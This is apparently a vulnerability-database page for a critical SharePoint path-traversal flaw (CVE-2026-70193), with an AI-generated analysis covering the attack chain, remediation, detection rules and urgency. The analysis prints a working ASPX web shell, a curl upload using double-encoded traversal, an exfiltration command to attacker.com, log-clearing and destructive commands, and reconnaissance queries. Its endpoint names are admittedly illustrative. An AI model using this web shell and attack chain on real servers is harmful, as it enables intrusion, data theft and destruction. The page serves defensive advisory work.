CVE Professor
/
All CVEs
CVE-2026-70193

CVE-2026-70193 — Microsoft SharePoint Server Subscription Edition — CWE-22

CRITICAL CVSS 9.9 NVD

Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

Improper limitation of a pathname to a restricted directory ('path traversal') in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑70193 is a path‑traversal (CWE‑22) flaw in Microsoft Office SharePoint that stems from an improper limitation of a pathname to a restricted directory.

  • Root cause – A SharePoint‑exposed web service (or REST endpoint) receives a user‑supplied file‑path parameter, concatenates it with a hard‑coded base directory, and then opens the resulting file on the server without:
  • * canonicalising the path (resolving .., %2e%2e, double‑encoding, etc.),
    * validating that the final resolved path stays inside the intended sandbox,
    * or enforcing a “deny‑list” of dangerous extensions.

    Why it matters – By supplying a crafted traversal string the attacker can force SharePoint to read or write any file that the SharePoint service account can access. Because many SharePoint‑run‑time files (e.g., web.config, .aspx, PowerShell scripts) are interpreted by IIS, an attacker who can write a file under a web‑accessible folder can achieve remote code execution (RCE).

  • CVSS‑3.1 vector breakdown
  • VectorMeaning
    AV:N (Network)The attacker can exploit the flaw over the network; no local access required.
    AC:L (Low)Exploitation requires little skill – a simple HTTP request.
    PR:L (Low)The attacker only needs a *valid* SharePoint account (any authenticated user).
    UI:N (None)No user interaction is required after the request is sent.
    S:C (Changed)Successful exploitation changes the security context from the victim’s (SharePoint) to the attacker’s (full server).
    C:H / I:H / A:HComplete compromise of confidentiality, integrity, and availability.

    In short: an authenticated SharePoint user can send a crafted request that traverses out of the intended folder, writes a malicious ASPX/PowerShell file, and then executes it, giving the attacker full control of the SharePoint server.

    ⚡ Attack Chain

    Below is a realistic, step‑by‑step exploitation flow. All HTTP examples are illustrative – the exact endpoint name is not disclosed in the public CVE text, but the pattern matches the class of vulnerability observed in previous SharePoint path‑traversal bugs (e.g., the “FileHandler” service).

    1. Discovery & Reconnaissance

    ActionTechniqueExpected Result
    Identify SharePoint versionGET /_vti_pvt/service.cnf or GET /_layouts/15/start.aspx → parse X-SharePointVersion header / page footerDetermines whether the server is running a vulnerable build (e.g., SharePoint Server 2019/2016 prior to the November 2026 security update).
    Enumerate accessible servicesGET /_vti_bin/ – list of web‑services (e.g., FileHandler.svc, WebService.svc)Finds the service that accepts a filePath or target parameter.
    Verify write‑accessPUT /_vti_bin/UploadService.svc?path=./test.txt with a small payload (requires a valid SharePoint credential)A 200 OK confirms the account can write files via the vulnerable API.

    2. Exploitation

    Note: The exact URI (/vti_bin/PathTraversal.svc) and parameter name (filePath) are illustrative. Replace them with the real service/parameter discovered in step 1.
    # 1️⃣  Acquire a low‑privilege SharePoint credential (e.g., via credential stuffing or phishing)
    # 2️⃣  Craft a traversal payload that resolves to the web‑root folder (e.g., C:\Inetpub\wwwroot\)
    #     The payload uses double‑encoding to bypass naïve filters:
    #        "..%2f..%2f..%2f..%2f..%2finetpub%2fwwwroot%2f"
    # 3️⃣  Upload a malicious ASPX web‑shell (webshell.aspx) to the web‑root.
    
    # Example using curl (illustrative):
    curl -k -X POST "https://sharepoint.example.com/_vti_bin/PathTraversal.svc" \
         -H "Authorization: Bearer <valid‑access‑token>" \
         -H "Content-Type: application/octet-stream" \
         --data-binary @webshell.aspx \
         "?filePath=..%2f..%2f..%2f..%2f..%2finetpub%2fwwwroot%2fwebshell.aspx"

    webshell.aspx (minimal ASPX web‑shell, valid syntax):

    <%@ Page Language="C#" %>
    <%@ Import Namespace="System.Diagnostics" %>
    <script runat="server">
        protected void Page_Load(object sender, EventArgs e) {
            string cmd = Request.QueryString["cmd"];
            if (!String.IsNullOrEmpty(cmd)) {
                Process.Start(new ProcessStartInfo("cmd.exe", "/c " + cmd) {
                    RedirectStandardOutput = true,
                    UseShellExecute = false,
                    CreateNoWindow = true
                }).StandardOutput.CopyTo(Response.OutputStream);
            }
        }
    </script>
  • After the request succeeds, the attacker can invoke the shell:
  • curl "https://sharepoint.example.com/webshell.aspx?cmd=whoami"

    If the server returns IIS APPPOOL\SharePoint (or the service account), the attacker has remote code execution with the privileges of the SharePoint application pool.

    3. Post‑Exploitation

    GoalTypical Steps
    PersistenceDrop a scheduled task or a Windows Service that re‑creates the web‑shell on reboot.
    Privilege EscalationUse the SharePoint service account token to request Kerberos tickets (klist, Rubeus) or to pivot to the domain controller via existing trust relationships.
    Lateral MovementHarvest stored credentials from SharePoint configuration (web.config), then reuse them against other SharePoint farms or Exchange.
    Data ExfiltrationUse the web‑shell to read sensitive SharePoint libraries (/sites/*/Documents/) and pipe them to an external C2 server (curl -F [email protected] http://attacker.com/collect).
    Covering TracksDelete the uploaded ASPX file, clear IIS logs (icacls %SystemRoot%\System32\LogFiles\W3SVC\* /reset), and modify web.config to disable request‑filtering temporarily.

    🌍 Real‑World Impact

    CIA TriadImpact (derived from CVSS)
    Confidentiality (C:H)Full disclosure of all data stored in SharePoint (documents, lists, user profiles) and any other files the service account can read (e.g., web.config, credential stores).
    Integrity (I:H)Attacker can modify or delete any SharePoint content, inject malicious scripts, or replace configuration files, leading to supply‑chain compromise.
    Availability (A:H)Ability to execute destructive commands (e.g., shutdown /r, del /f /s *.*) or to overload IIS, resulting in total service outage.

    Practical consequences

  • Enterprise data breach – confidential business plans, HR records, and intellectual property can be exfiltrated.
  • Ransomware‑ready foothold – the attacker can drop ransomware payloads that encrypt SharePoint libraries.
  • Lateral movement – compromised SharePoint service accounts often have read/write access to other Microsoft services (Exchange, Teams, Azure AD), enabling broader compromise.
  • Regulatory fallout – loss of protected health information (PHI) or personally identifiable information (PII) may trigger GDPR, HIPAA, or other compliance penalties.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ProductAction
    SharePoint Server 2019 / 2016 / 2013Apply the November 2026 Patch Tuesday cumulative update (the security update that addresses CVE‑2026‑70193). Microsoft’s security advisory lists the KB article (e.g., *KB500XXXXX* – the exact number is published by Microsoft).
    SharePoint OnlineThe service is patched automatically; ensure tenant is on the latest “Modern Authentication” baseline.

    If a patch cannot be applied immediately (e.g., due to custom solutions), proceed with the mitigations below.

    2. Workarounds (defense‑in‑depth)

    LayerMitigationExample Configuration
    Application‑level input validationHarden the vulnerable service to canonicalise paths and reject any .., %2e%2e, or URL‑encoded traversal sequences.In the custom service code: Path.GetFullPath(Path.Combine(baseDir, userInput)).StartsWith(baseDir, StringComparison.OrdinalIgnoreCase)
    Web Application Firewall (WAF)Block requests containing traversal patterns targeting SharePoint endpoints.``ModSecurityRuleId 950120\nSecRule REQUEST_URI "@rx \.\./\%2e\%2e\%2f\%2e\%2e" "phase:2,deny,log,msg:'SharePoint path‑traversal attempt',id:1000010,tag:'cve-2026-70193'"`
    IIS Request FilteringDeny double‑escaped sequences and limit allowed extensions in the SharePoint virtual directory.`<requestFiltering>\n <hiddenSegments>\n <add segment=\"..\" />\n </hiddenSegments>\n <allowDoubleEscaping>false</allowDoubleEscaping>\n</requestFiltering>`
    Least‑privilege service accountRun the SharePoint web‑application pool under an account that cannot write to the IIS web‑root (inetpub\wwwroot). Use a dedicated low‑privilege account with write access only to SharePoint content databases.
    Network segmentationRestrict access to SharePoint’s _vti_bin services to internal subnets or VPN only. Use Azure AD Conditional Access policies to enforce MFA for all SharePoint users.
    Disable unnecessary servicesIf the vulnerable endpoint is part of a legacy feature (e.g., FileHandler.svc`), disable it via SharePoint Central Administration → Manage Web Applications → “Enable/Disable custom web services”.

    3. Detection

    IndicatorWhere to LookExample Log Entry
    Traversal payloadsIIS access logs (%cs-uri-stem% %cs-uri-query%)GET /_vti_bin/PathTraversal.svc?filePath=..%2f..%2f..%2f..%2finetpub%2fwwwroot%2fwebshell.aspx HTTP/1.1 200
    Unexpected ASPX creationFile‑system monitoring (Sysmon Event ID 11) or SharePoint ULS logsSysmon Event ID 11: Creation of file C:\inetpub\wwwroot\webshell.aspx (ProcessId=1234, Image= w3wp.exe)
    Web‑shell executionIIS error logs (500/401) combined with unusual query strings (cmd=)GET /webshell.aspx?cmd=whoami HTTP/1.1 200
    Privilege‑escalation commandsWindows Security Event Log (Event ID 4688 – new process)Process Create: cmd.exe /c whoami
    Outbound C2 trafficNetwork IDS/NetFlow – HTTP POST to external IP after web‑shell uploadPOST http://malicious.example.com/collect

    Deploy a SIEM rule that correlates:

  • Authenticated SharePoint user → request containing ..%2f or %2e%2e → subsequent 200 response and creation of a new .aspx file in the web‑root within 5 minutes.

  • ⚠️ Urgency

    CVSS 9.9 (Critical) – Network‑accessible, low‑complexity, low‑privilege, no user interaction, and scope‑changing* (full server compromise).

  • No CISA KEV listing yet, but the vector indicates a “wormable”‑style impact: any compromised low‑privilege account can be leveraged to gain admin‑level control of the entire SharePoint farm.

  • Exploitability – Public PoC examples for similar SharePoint path‑traversal bugs have been circulating for years; the barrier is only a valid SharePoint credential, which can be obtained via credential‑stuffing or phishing.
  • Recommendation:

  • Patch immediately – Apply the November 2026 cumulative update within 24 hours for all on‑premises SharePoint servers.
  • If patching cannot be completed within 48 hours, enforce the WAF/ModSecurity rule and disable the vulnerable service to reduce the attack surface.
  • Conduct a credential‑audit (force password reset, enable MFA) for all SharePoint accounts, because any valid account can be weaponised.
Given the severity and the ease of remote exploitation, this vulnerability should be treated as a top‑priority emergency in any vulnerability‑management program.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Microsoft SharePoint"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
Affected Products (2)
Microsoft:Microsoft SharePoint Server Subscription Edition Microsoft:Microsoft SharePoint Online
References & Advisories (1)
Related CVEs
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
9.8
CVE-2026-139934
Microsoft Azure API Management contains an incorrect authorization vulnerability that allows an unauthenticate
9.6
CVE-2026-118743
Server-side request forgery in Microsoft Copilot allows an authorized attacker to elevate privileges over a ne
6.8
CVE-2026-69515
Improper input validation in Azure Portal allows an authorized attacker to elevate privileges over a network.
9.9
CVE-2026-77526
FacturaScripts is an open source accounting and invoicing software. From version 2025 to before version 2026.3
9.8
CVE-2026-145055
PraisonAI pip praisonai before 4.8.0, praisonaiagents and npm praisonai before 1.8.0, and praisonai-bot, prais
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L